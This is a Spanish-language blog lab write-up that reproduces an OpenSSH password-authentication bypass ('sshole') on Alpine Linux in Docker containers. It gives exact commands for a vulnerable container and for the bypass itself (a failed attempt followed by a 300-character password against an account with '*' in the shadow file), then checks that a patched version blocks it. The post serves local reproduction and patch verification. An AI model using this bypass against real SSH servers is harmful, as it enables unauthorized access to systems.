> ## Content Index
> Fetch the complete content index at: https://blog.xavigonzalez.net/llms.txt
> Use this file to discover other available public pages before exploring further.

# Laboratorio: sshole (CVE-2026-123158) en Alpine Linux con Docker
- URL: https://blog.xavigonzalez.net/laboratorio-sshole-cve-2026-123158-en-alpine-linux-con-docker/
- Published: 2026-11-06T15:00:00.000Z
- Updated: 2026-11-06T15:00:00.000Z
- Author: Xavi Gonzalez

*sshole* es una vulnerabilidad de bypass de autenticación por contraseña en OpenSSH cuando se ejecuta sobre **musl** (el caso de Alpine Linux) y **sin PAM**. En condiciones específicas, cualquier cuenta cuyo campo de contraseña en /etc/shadow sea \* acepta **cualquier contraseña de entre 257 y 1024 bytes**.

Se ha documentado en la siguiente pagina de Alpine: [https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/](https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/?ref=blog.xavigonzalez.net)

En esta entrada reproduzco el fallo de forma controlada con Docker, tanto en una versión vulnerable como en una ya parcheada.

## Requisitos

- Docker
- Un cliente SSH (el de cualquier distribución actual sirve)

## 1\. Contenedor vulnerable

Usamos Alpine 3.15 porque las tags más recientes ya incluyen los paquetes parcheados.

Bash

```
docker rm -f alpine-vuln 2>/dev/null

docker run -d --name alpine-vuln -p 2222:22 alpine:3.15 sh -c '
  apk add --no-cache openssh-server &&
  ssh-keygen -A &&
  adduser -D -s /bin/sh victim &&
  adduser -D -s /bin/sh helper &&
  echo "helper:HelperPass123" | chpasswd &&
  sed -i "s/^victim:[^:]*:/victim:*:/" /etc/shadow &&
  echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config &&
  /usr/sbin/sshd -D -e
'
```

Comprobaciones rápidas:

Bash

```
docker exec alpine-vuln grep -E "^(victim|helper):" /etc/shadow
docker exec alpine-vuln apk info -v openssh-server
```

Deberías ver victim:\* y un hash real en helper.

## 2\. Prueba con contraseña normal (debe fallar)

Bash

```
ssh -p 2222 \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  victim@127.0.0.1
```

Introduce cualquier contraseña corta (por ejemplo wrong). El acceso es denegado, como es de esperar.

## 3\. Prueba con contraseña larga (bypass)

Vuelve a lanzar el mismo comando SSH:

Bash

```
ssh -p 2222 \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  -o NumberOfPasswordPrompts=3 \
  victim@127.0.0.1
```

1. **Primer password**: escribe cualquier cosa (ej: wrong) → falla.
2. **Segundo password**: pega una cadena de **300 letras A**.

El segundo intento es aceptado y entras como victim.

> Nota: el primer intento es necesario. En la misma conexión, OpenSSH “prepara” el salt usando la otra cuenta. A partir del segundo intento el bypass funciona.

## 4\. Contenedor con la versión parcheada

Bash

```
docker rm -f alpine-fixed 2>/dev/null

docker run -d --name alpine-fixed -p 2223:22 alpine:3.24 sh -c '
  apk update && apk upgrade -U -a &&
  apk add --no-cache openssh-server &&
  ssh-keygen -A &&
  adduser -D -s /bin/sh victim &&
  adduser -D -s /bin/sh helper &&
  echo "helper:HelperPass123" | chpasswd &&
  sed -i "s/^victim:[^:]*:/victim:*:/" /etc/shadow &&
  echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config &&
  /usr/sbin/sshd -D -e
'
```

## 5\. Validar que el parche funciona

Repite exactamente la misma prueba de contraseña larga contra el puerto **2223**:

Bash

```
ssh -p 2223 \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  -o NumberOfPasswordPrompts=3 \
  victim@127.0.0.1
```

1. Primer password: cualquier cosa → falla.
2. Segundo password: 300 A → **también falla**.

El bypass ya no es posible.

## Limpieza

Bash

```
docker rm -f alpine-vuln alpine-fixed
```

---

Esta es la forma más sencilla de reproducir *sshole* en local y comprobar que la actualización de Alpine cierra el vector.